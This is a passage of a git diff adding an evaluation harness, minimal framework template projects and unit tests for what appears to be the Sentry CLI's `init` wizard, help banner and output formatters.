type WizardResult = { + exitCode: number; + stdout: string; + stderr: string; + diff: string; + newFiles: Record; +}; + +/** + * Run `sentry init --yes --force` on a project directory and capture results. + * When `features` is provided, passes `--features ` to the wizard. + */ +export async function runWizard( + projectDir: string, + platform: Platform, + features?: string[] +): Promise { + // Resolve relative paths (e.g. "src/bin.ts") against the CLI repo root, + // since the wizard spawns with cwd set to the temp project directory. + const cmd = getCliCommand().map((part) => + part.includes("/") ? resolve(CLI_ROOT, part) : part + ); + const mastraUrl = process.env.MASTRA_API_URL; + if (!mastraUrl) { + throw new Error("MASTRA_API_URL env var is required to run init evals"); + } + + // Install dependencies first so the wizard sees a realistic project + try { + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + // Commit lock files so they don't show up in the diff + execSync("git add -A && git commit -m deps --no-gpg-sign --allow-empty", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + } catch { + // Some templates (e.g. Python) might not need install + } + + const initArgs = [...cmd, "init", "--yes", "--force"]; + if (features && features.length > 0) { + initArgs.push("--features", features.join(",")); + } + + const proc = Bun.spawn(initArgs, { + cwd: projectDir, + stdout: "pipe", + stderr: "pipe", + env: { + ...process.env, + // Override the hardcoded Mastra URL to point at local/test server + MASTRA_API_URL: mastraUrl, + // Disable telemetry + SENTRY_CLI_NO_TELEMETRY: "1", + }, + }); + + const [stdout, stderr] = await Promise.all([ + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + ]); + + const exitCode = await proc.exited; + + // Capture git diff (staged + unstaged changes since last commit) + let diff = ""; + try { + diff = execSync("git diff HEAD", { + cwd: projectDir, + encoding: "utf-8", + maxBuffer: 1024 * 1024, + }); + } catch { + // No diff available + } + + // Capture new untracked files + const newFiles: Record = {}; + try { + const untracked = execSync("git ls-files --others --exclude-standard", { + cwd: projectDir, + encoding: "utf-8", + }).trim(); + + for (const file of untracked.split("\n").filter(Boolean)) { + try { + newFiles[file] = readFileSync(join(projectDir, file), "utf-8"); + } catch { + // Binary or unreadable + } + } + } catch { + // No untracked files + } + + return { exitCode, stdout, stderr, diff, newFiles }; +} diff --git a/test/init-eval/helpers/test-env.ts b/test/init-eval/helpers/test-env.ts new file mode 100644 index 00000000..94abfb33 --- /dev/null +++ b/test/init-eval/helpers/test-env.ts @@ -0,0 +1,46 @@ +import { execSync } from "node:child_process"; +import { cpSync, mkdirSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +export type TestEnv = { + projectDir: string; + cleanup: () => void; +}; + +/** + * Copy a template project into an isolated temp directory with git initialized. + * Returns the project dir and a cleanup function. + */ +export function createTestEnv(templateDir: string): TestEnv { + const rand = Math.random().toString(36).slice(2, 8); + const name = templateDir.split("/").pop() ?? "project"; + const projectDir = join(tmpdir(), "sentry-init-eval", `${name}-${rand}`); + + mkdirSync(projectDir, { recursive: true }); + cpSync(templateDir, projectDir, { recursive: true }); + + // Initialize git so we can diff after the wizard runs + execSync("git init && git add -A && git commit -m init --no-gpg-sign", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + + const cleanup = () => { + if (process.env.KEEP_TEMP) return; + try { + rmSync(projectDir, { recursive: true, force: true }); + } catch { + // ignore + } + }; + + return { projectDir, cleanup }; +} diff --git a/test/init-eval/nextjs.eval.test.ts b/test/init-eval/nextjs.eval.test.ts new file mode 100644 index 00000000..1938f0d5 --- /dev/null +++ b/test/init-eval/nextjs.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("nextjs"); diff --git a/test/init-eval/python-fastapi.eval.test.ts b/test/init-eval/python-fastapi.eval.test.ts new file mode 100644 index 00000000..8849f8ff --- /dev/null +++ b/test/init-eval/python-fastapi.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-fastapi"); diff --git a/test/init-eval/python-flask.eval.test.ts b/test/init-eval/python-flask.eval.test.ts new file mode 100644 index 00000000..95e1528e --- /dev/null +++ b/test/init-eval/python-flask.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-flask"); diff --git a/test/init-eval/react-vite.eval.test.ts b/test/init-eval/react-vite.eval.test.ts new file mode 100644 index 00000000..e4d844c8 --- /dev/null +++ b/test/init-eval/react-vite.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("react-vite"); diff --git a/test/init-eval/sveltekit.eval.test.ts b/test/init-eval/sveltekit.eval.test.ts new file mode 100644 index 00000000..b44beae8 --- /dev/null +++ b/test/init-eval/sveltekit.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("sveltekit"); diff --git a/test/init-eval/templates/express-app/.gitignore b/test/init-eval/templates/express-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/express-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/express-app/package.json b/test/init-eval/templates/express-app/package.json new file mode 100644 index 00000000..60915acd --- /dev/null +++ b/test/init-eval/templates/express-app/package.json @@ -0,0 +1,17 @@ +{ + "name": "express-app", + "version": "0.1.0", + "private": true, + "scripts": { + "start": "node dist/index.js", + "build": "tsc" + }, + "dependencies": { + "express": "^4.21.0" + }, + "devDependencies": { + "@types/express": "^5", + "@types/node": "^22", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/express-app/src/index.ts b/test/init-eval/templates/express-app/src/index.ts new file mode 100644 index 00000000..ed2c1ef0 --- /dev/null +++ b/test/init-eval/templates/express-app/src/index.ts @@ -0,0 +1,12 @@ +import express from "express"; + +const app = express(); +const port = process.env.PORT || 3000; + +app.get("/", (_req, res) => { + res.json({ message: "Hello World" }); +}); + +app.listen(port, () => { + console.log(`Server running on port ${port}`); +}); diff --git a/test/init-eval/templates/express-app/tsconfig.json b/test/init-eval/templates/express-app/tsconfig.json new file mode 100644 index 00000000..856416bb --- /dev/null +++ b/test/init-eval/templates/express-app/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "commonjs", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/test/init-eval/templates/nextjs-app/.gitignore b/test/init-eval/templates/nextjs-app/.gitignore new file mode 100644 index 00000000..7c8ed234 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.next/ +out/ diff --git a/test/init-eval/templates/nextjs-app/next.config.ts b/test/init-eval/templates/nextjs-app/next.config.ts new file mode 100644 index 00000000..cb651cdc --- /dev/null +++ b/test/init-eval/templates/nextjs-app/next.config.ts @@ -0,0 +1,5 @@ +import type { NextConfig } from "next"; + +const nextConfig: NextConfig = {}; + +export default nextConfig; diff --git a/test/init-eval/templates/nextjs-app/package.json b/test/init-eval/templates/nextjs-app/package.json new file mode 100644 index 00000000..22af217c --- /dev/null +++ b/test/init-eval/templates/nextjs-app/package.json @@ -0,0 +1,21 @@ +{ + "name": "nextjs-app", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start" + }, + "dependencies": { + "next": "^15.1.0", + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/node": "^22", + "@types/react": "^19", + "@types/react-dom": "^19", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/nextjs-app/src/app/layout.tsx b/test/init-eval/templates/nextjs-app/src/app/layout.tsx new file mode 100644 index 00000000..588e8851 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/layout.tsx @@ -0,0 +1,16 @@ +export const metadata = { + title: "Test App", + description: "A test Next.js app", +}; + +export default function RootLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( + + {children} + + ); +} diff --git a/test/init-eval/templates/nextjs-app/src/app/page.tsx b/test/init-eval/templates/nextjs-app/src/app/page.tsx new file mode 100644 index 00000000..aa58cf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/page.tsx @@ -0,0 +1,3 @@ +export default function Home() { + return

Hello World

; +} diff --git a/test/init-eval/templates/nextjs-app/tsconfig.json b/test/init-eval/templates/nextjs-app/tsconfig.json new file mode 100644 index 00000000..fba2bf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2017", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [{ "name": "next" }], + "paths": { "@/*": ["./src/*"] } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/test/init-eval/templates/python-fastapi-app/.gitignore b/test/init-eval/templates/python-fastapi-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-fastapi-app/main.py b/test/init-eval/templates/python-fastapi-app/main.py new file mode 100644 index 00000000..469a6503 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/main.py @@ -0,0 +1,8 @@ +from fastapi import FastAPI + +app = FastAPI() + + +@app.get("/") +def hello(): + return {"message": "Hello World"} diff --git a/test/init-eval/templates/python-fastapi-app/requirements.txt b/test/init-eval/templates/python-fastapi-app/requirements.txt new file mode 100644 index 00000000..c5573034 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/requirements.txt @@ -0,0 +1,2 @@ +fastapi>=0.115.0 +uvicorn>=0.34.0 diff --git a/test/init-eval/templates/python-flask-app/.gitignore b/test/init-eval/templates/python-flask-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-flask-app/app.py b/test/init-eval/templates/python-flask-app/app.py new file mode 100644 index 00000000..cfa9e477 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/app.py @@ -0,0 +1,12 @@ +from flask import Flask + +app = Flask(__name__) + + +@app.route("/") +def hello(): + return {"message": "Hello World"} + + +if __name__ == "__main__": + app.run(debug=True) diff --git a/test/init-eval/templates/python-flask-app/requirements.txt b/test/init-eval/templates/python-flask-app/requirements.txt new file mode 100644 index 00000000..001e7c4a --- /dev/null +++ b/test/init-eval/templates/python-flask-app/requirements.txt @@ -0,0 +1 @@ +flask>=3.0 diff --git a/test/init-eval/templates/react-vite-app/.gitignore b/test/init-eval/templates/react-vite-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/react-vite-app/index.html b/test/init-eval/templates/react-vite-app/index.html new file mode 100644 index 00000000..71e5e784 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/index.html @@ -0,0 +1,12 @@ + + + + + + React App + + +
+ + + diff --git a/test/init-eval/templates/react-vite-app/package.json b/test/init-eval/templates/react-vite-app/package.json new file mode 100644 index 00000000..669dc475 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/package.json @@ -0,0 +1,22 @@ +{ + "name": "react-vite-app", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview" + }, + "dependencies": { + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/react": "^19", + "@types/react-dom": "^19", + "@vitejs/plugin-react": "^4.3.0", + "typescript": "^5", + "vite": "^6.0.0" + } +} diff --git a/test/init-eval/templates/react-vite-app/src/app.tsx b/test/init-eval/templates/react-vite-app/src/app.tsx new file mode 100644 index 00000000..be4a1202 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/app.tsx @@ -0,0 +1,5 @@ +function App() { + return

Hello World

; +} + +export default App; diff --git a/test/init-eval/templates/react-vite-app/src/main.tsx b/test/init-eval/templates/react-vite-app/src/main.tsx new file mode 100644 index 00000000..74ab28da --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/main.tsx @@ -0,0 +1,9 @@ +import React from "react"; +import ReactDOM from "react-dom/client"; +import App from "./app"; + +ReactDOM.createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/test/init-eval/templates/react-vite-app/tsconfig.json b/test/init-eval/templates/react-vite-app/tsconfig.json new file mode 100644 index 00000000..9e82e3ff --- /dev/null +++ b/test/init-eval/templates/react-vite-app/tsconfig.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["src"] +} diff --git a/test/init-eval/templates/react-vite-app/vite.config.ts b/test/init-eval/templates/react-vite-app/vite.config.ts new file mode 100644 index 00000000..58676f78 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/vite.config.ts @@ -0,0 +1,6 @@ +import react from "@vitejs/plugin-react"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [react()], +}); diff --git a/test/init-eval/templates/sveltekit-app/.gitignore b/test/init-eval/templates/sveltekit-app/.gitignore new file mode 100644 index 00000000..31fda85b --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.svelte-kit/ +build/ diff --git a/test/init-eval/templates/sveltekit-app/package.json b/test/init-eval/templates/sveltekit-app/package.json new file mode 100644 index 00000000..e58b151f --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/package.json @@ -0,0 +1,20 @@ +{ + "name": "sveltekit-app", + "private": true, + "version": "0.0.1", + "type": "module", + "scripts": { + "dev": "vite dev", + "build": "vite build", + "preview": "vite preview", + "prepare": "svelte-kit sync || echo ''" + }, + "devDependencies": { + "@sveltejs/adapter-node": "^5.0.0", + "@sveltejs/kit": "^2.50.2", + "@sveltejs/vite-plugin-svelte": "^6.2.4", + "svelte": "^5.51.0", + "typescript": "^5.9.3", + "vite": "^7.3.1" + } +} diff --git a/test/init-eval/templates/sveltekit-app/src/app.d.ts b/test/init-eval/templates/sveltekit-app/src/app.d.ts new file mode 100644 index 00000000..da08e6da --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.d.ts @@ -0,0 +1,13 @@ +// See https://svelte.dev/docs/kit/types#app.d.ts +// for information about these interfaces +declare global { + namespace App { + // interface Error {} + // interface Locals {} + // interface PageData {} + // interface PageState {} + // interface Platform {} + } +} + +export {}; diff --git a/test/init-eval/templates/sveltekit-app/src/app.html b/test/init-eval/templates/sveltekit-app/src/app.html new file mode 100644 index 00000000..f273cc58 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.html @@ -0,0 +1,11 @@ + + + + + + %sveltekit.head% + + +
%sveltekit.body%
+ + diff --git a/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte new file mode 100644 index 00000000..f3e333e8 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte @@ -0,0 +1 @@ +

Hello World

diff --git a/test/init-eval/templates/sveltekit-app/svelte.config.js b/test/init-eval/templates/sveltekit-app/svelte.config.js new file mode 100644 index 00000000..6bfb3c40 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/svelte.config.js @@ -0,0 +1,10 @@ +import adapter from '@sveltejs/adapter-node'; + +/** @type {import('@sveltejs/kit').Config} */ +const config = { + kit: { + adapter: adapter() + } +}; + +export default config; diff --git a/test/init-eval/templates/sveltekit-app/tsconfig.json b/test/init-eval/templates/sveltekit-app/tsconfig.json new file mode 100644 index 00000000..feea18bf --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/tsconfig.json @@ -0,0 +1,15 @@ +{ + "extends": "./.svelte-kit/tsconfig.json", + "compilerOptions": { + "rewriteRelativeImportExtensions": true, + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "sourceMap": true, + "strict": true, + "moduleResolution": "bundler" + } +} diff --git a/test/init-eval/templates/sveltekit-app/vite.config.ts b/test/init-eval/templates/sveltekit-app/vite.config.ts new file mode 100644 index 00000000..80864b9d --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/vite.config.ts @@ -0,0 +1,6 @@ +import { sveltekit } from "@sveltejs/kit/vite"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [sveltekit()], +}); diff --git a/test/lib/formatters/log.test.ts b/test/lib/formatters/log.test.ts index eac02792..dd3fe3f5 100644 --- a/test/lib/formatters/log.test.ts +++ b/test/lib/formatters/log.test.ts @@ -349,7 +349,7 @@ describe("formatLogDetails", () => { expect(result).toContain("Span ID"); expect(result).toContain("span-abc-123"); expect(result).toContain("Link"); - expect(result).toContain("my-org/traces/trace123abc456def789"); + expect(result).toContain("my-org.sentry.io/traces/trace123abc456def789"); }); test("shows Source Location when code.function present", () => { diff --git a/test/lib/formatters/seer.test.ts b/test/lib/formatters/seer.test.ts index 6989ac23..6c028ba2 100644 --- a/test/lib/formatters/seer.test.ts +++ b/test/lib/formatters/seer.test.ts @@ -293,7 +293,7 @@ describe("SeerError formatting", () => { const error = new SeerError("not_enabled", "my-org"); const formatted = error.format(); expect(formatted).toContain("Seer is not enabled"); - expect(formatted).toContain("https://sentry.io/settings/my-org/seer/"); + expect(formatted).toContain("https://my-org.sentry.io/settings/seer/"); }); test("format() includes message and billing URL for no_budget", () => { @@ -301,7 +301,7 @@ describe("SeerError formatting", () => { const formatted = error.format(); expect(formatted).toContain("Seer requires a paid plan"); expect(formatted).toContain( - "https://sentry.io/settings/my-org/billing/overview/?product=seer" + "https://my-org.sentry.io/settings/billing/overview/?product=seer" ); }); @@ -310,7 +310,7 @@ describe("SeerError formatting", () => { const formatted = error.format(); expect(formatted).toContain("AI features are disabled"); expect(formatted).toContain( - "https://sentry.io/settings/my-org/#hideAiFeatures" + "https://my-org.sentry.io/settings/#hideAiFeatures" ); }); diff --git a/test/lib/help.test.ts b/test/lib/help.test.ts new file mode 100644 index 00000000..498ad598 --- /dev/null +++ b/test/lib/help.test.ts @@ -0,0 +1,117 @@ +/** + * Help Output Tests + * + * Tests for the branded CLI help output including the ASCII banner, + * command generation from routes, and contextual examples. + */ + +import { describe, expect, test } from "bun:test"; +import { formatBanner } from "../../src/lib/banner.js"; +import { printCustomHelp } from "../../src/lib/help.js"; +import { useTestConfigDir } from "../helpers.js"; + +/** Strip ANSI escape sequences for content assertions */ +// biome-ignore lint/suspicious/noControlCharactersInRegex: ANSI escape codes use control chars by definition +const ANSI_RE = /\u001B\[[0-9;]*m/g; +function stripAnsi(str: string): string { + return str.replace(ANSI_RE, ""); +} + +describe("formatBanner", () => { + test("returns 6 rows matching the SENTRY ASCII art", () => { + const banner = formatBanner(); + const rows = banner.split("\n"); + expect(rows).toHaveLength(6); + }); + + test("contains the SENTRY block characters", () => { + const banner = stripAnsi(formatBanner()); + // The ASCII art spells out SENTRY using box-drawing chars + expect(banner).toContain("███████"); + }); + + test("is deterministic across calls", () => { + expect(formatBanner()).toBe(formatBanner()); + }); +}); + +describe("printCustomHelp", () => { + useTestConfigDir("help-test-"); + + test("writes output to the provided writer", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + expect(chunks.length).toBeGreaterThan(0); + expect(chunks.join("").length).toBeGreaterThan(0); + }); + + test("output contains the tagline", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("The command-line interface for Sentry"); + }); + + test("output contains registered commands", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + + // Should include at least some core commands from routes + expect(output).toContain("sentry"); + // Route map command (exercises isRouteMap branch) + expect(output).toContain("auth"); + // Direct command with tuple positional (exercises isCommand + getPositionalPlaceholder) + expect(output).toContain("init"); + }); + + test("output contains docs URL", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("cli.sentry.dev"); + }); + + test("shows login example when not authenticated", async () => { + // useTestConfigDir provides a clean env with no auth token + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("sentry auth login"); + }); +}); diff --git a/test/lib/init/clack-utils.test.ts b/test/lib/init/clack-utils.test.ts new file mode 100644 index 00000000..d4d8db41 --- /dev/null +++ b/test/lib/init/clack-utils.test.ts @@ -0,0 +1,70 @@ +/** + * Tests for clack-utils: WizardCancelledError, abortIfCancelled, featureLabel, featureHint. + * + * These are pure utility functions that don't require module mocking. + */ + +import { describe, expect, test } from "bun:test"; +import { + abortIfCancelled, + featureHint, + featureLabel, + WizardCancelledError, +} from "../../../src/lib/init/clack-utils.js"; + +describe("WizardCancelledError", () => { + test("has correct message", () => { + const err = new WizardCancelledError(); + expect(err.message).toBe("Setup cancelled."); + }); + + test("has correct name", () => { + const err = new WizardCancelledError(); + expect(err.name).toBe("WizardCancelledError"); + }); + + test("is an instance of Error", () => { + const err = new WizardCancelledError(); + expect(err).toBeInstanceOf(Error); + }); +}); + +describe("abortIfCancelled", () => { + test("passes through non-cancel values", () => { + expect(abortIfCancelled("hello")).toBe("hello"); + expect(abortIfCancelled(42)).toBe(42); + expect(abortIfCancelled(null)).toBeNull(); + }); + + test("passes through object values", () => { + const obj = { key: "value" }; + expect(abortIfCancelled(obj)).toBe(obj); + }); +}); + +describe("featureLabel", () => { + test("returns label for known feature", () => { + expect(featureLabel("errorMonitoring")).toBe("Error Monitoring"); + expect(featureLabel("performanceMonitoring")).toBe( + "Performance Monitoring" + ); + expect(featureLabel("logs")).toBe("Logging"); + }); + + test("returns id as passthrough for unknown feature", () => { + expect(featureLabel("unknownFeature")).toBe("unknownFeature"); + }); +}); + +describe("featureHint", () => { + test("returns hint for known feature", () => { + expect(featureHint("errorMonitoring")).toBe( + "Automatic error and crash reporting" + ); + expect(featureHint("sessionReplay")).toBe("Visual replay of user sessions"); + }); + + test("returns undefined for unknown feature", () => { + expect(featureHint("unknownFeature")).toBeUndefined(); + }); +}); diff --git a/test/lib/init/formatters.test.ts b/test/lib/init/formatters.test.ts new file mode 100644 index 00000000..77969135 --- /dev/null +++ b/test/lib/init/formatters.test.ts @@ -0,0 +1,175 @@ +/** + * Formatters Tests + * + * Tests for the init wizard output formatters. Since formatResult and + * formatError write to clack's output, we capture calls via spyOn on + * the imported @clack/prompts module. + */ + +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { formatError, formatResult } from "../../../src/lib/init/formatters.js"; + +// Spy on clack functions to capture arguments without replacing them +let noteSpy: ReturnType; +let outroSpy: ReturnType; +let cancelSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; + +const noop = () => { + /* suppress clack output */ +}; + +beforeEach(() => { + noteSpy = spyOn(clack, "note").mockImplementation(noop); + outroSpy = spyOn(clack, "outro").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); +}); + +afterEach(() => { + noteSpy.mockRestore(); + outroSpy.mockRestore(); + cancelSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); +}); + +describe("formatResult", () => { + test("displays summary with all fields and action icons", () => { + formatResult({ + status: "success", + result: { + platform: "Next.js", + projectDir: "/app", + features: ["errorMonitoring", "performanceMonitoring"], + commands: ["npm install @sentry/nextjs"], + sentryProjectUrl: "https://sentry.io/project", + docsUrl: "https://docs.sentry.io", + changedFiles: [ + { action: "create", path: "sentry.client.config.ts" }, + { action: "modify", path: "next.config.js" }, + { action: "delete", path: "old-sentry.js" }, + ], + }, + }); + + expect(noteSpy).toHaveBeenCalledTimes(1); + const noteContent: string = noteSpy.mock.calls[0][0]; + + expect(noteContent).toContain("Next.js"); + expect(noteContent).toContain("/app"); + expect(noteContent).toContain("Error Monitoring"); + expect(noteContent).toContain("Performance Monitoring"); + expect(noteContent).toContain("npm install @sentry/nextjs"); + expect(noteContent).toContain("+ sentry.client.config.ts"); + expect(noteContent).toContain("~ next.config.js"); + expect(noteContent).toContain("- old-sentry.js"); + + expect(noteSpy.mock.calls[0][1]).toBe("Setup complete"); + }); + + test("skips note when result has no summary fields", () => { + formatResult({ status: "success" }); + + expect(noteSpy).not.toHaveBeenCalled(); + expect(outroSpy).toHaveBeenCalled(); + }); + + test("displays warnings when present", () => { + formatResult({ + status: "success", + result: { + warnings: ["Source maps not configured", "Missing DSN"], + }, + }); + + expect(logWarnSpy).toHaveBeenCalledTimes(2); + expect(logWarnSpy.mock.calls[0][0]).toBe("Source maps not configured"); + expect(logWarnSpy.mock.calls[1][0]).toBe("Missing DSN"); + }); + + test("unwraps nested result property", () => { + formatResult({ status: "success", result: { platform: "React" } }); + + const noteContent: string = noteSpy.mock.calls[0][0]; + expect(noteContent).toContain("React"); + }); +}); + +describe("formatError", () => { + test("logs the error message", () => { + formatError({ status: "failed", error: "Connection timed out" }); + + expect(logErrorSpy).toHaveBeenCalledWith("Connection timed out"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + }); + + test("extracts message from nested result.message", () => { + formatError({ status: "failed", result: { message: "Inner failure" } }); + + expect(logErrorSpy).toHaveBeenCalledWith("Inner failure"); + }); + + test("falls back to unknown error when no message available", () => { + formatError({ status: "failed" }); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Wizard failed with an unknown error" + ); + }); + + test("shows --force hint for already-installed exit code (10)", () => { + formatError({ status: "failed", result: { exitCode: 10 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("--force"); + }); + + test("shows platform hint for detection failure exit code (20)", () => { + formatError({ status: "failed", result: { exitCode: 20 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("platform"); + }); + + test("shows manual install commands for dependency failure (30)", () => { + formatError({ + status: "failed", + result: { + exitCode: 30, + commands: ["npm install @sentry/node"], + }, + }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("$ npm install @sentry/node"); + }); + + test("shows verification hint for exit code 50", () => { + formatError({ status: "failed", result: { exitCode: 50 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("verification"); + }); + + test("shows docs URL when present", () => { + formatError({ + status: "failed", + result: { docsUrl: "https://docs.sentry.io/platforms/react/" }, + }); + + const infoCalls = logInfoSpy.mock.calls.map((c) => String(c[0])); + expect( + infoCalls.some((s) => + s.includes("https://docs.sentry.io/platforms/react/") + ) + ).toBe(true); + }); +}); diff --git a/test/lib/init/interactive.test.ts b/test/lib/init/interactive.test.ts new file mode 100644 index 00000000..d157aff7 --- /dev/null +++ b/test/lib/init/interactive.test.ts @@ -0,0 +1,340 @@ +/** + * Interactive Dispatcher Tests + * + * Tests for the init wizard interactive prompt handlers. Uses spyOn on + * @clack/prompts namespace to intercept calls from named imports. + */ + +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { handleInteractive } from "../../../src/lib/init/interactive.js"; +import type { WizardOptions } from "../../../src/lib/init/types.js"; + +const noop = () => { + /* suppress clack output */ +}; + +let selectSpy: ReturnType; +let multiselectSpy: ReturnType; +let confirmSpy: ReturnType; +let logInfoSpy: ReturnType; +let logErrorSpy: ReturnType; +let logWarnSpy: ReturnType; +let cancelSpy: ReturnType; +let isCancelSpy: ReturnType; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + 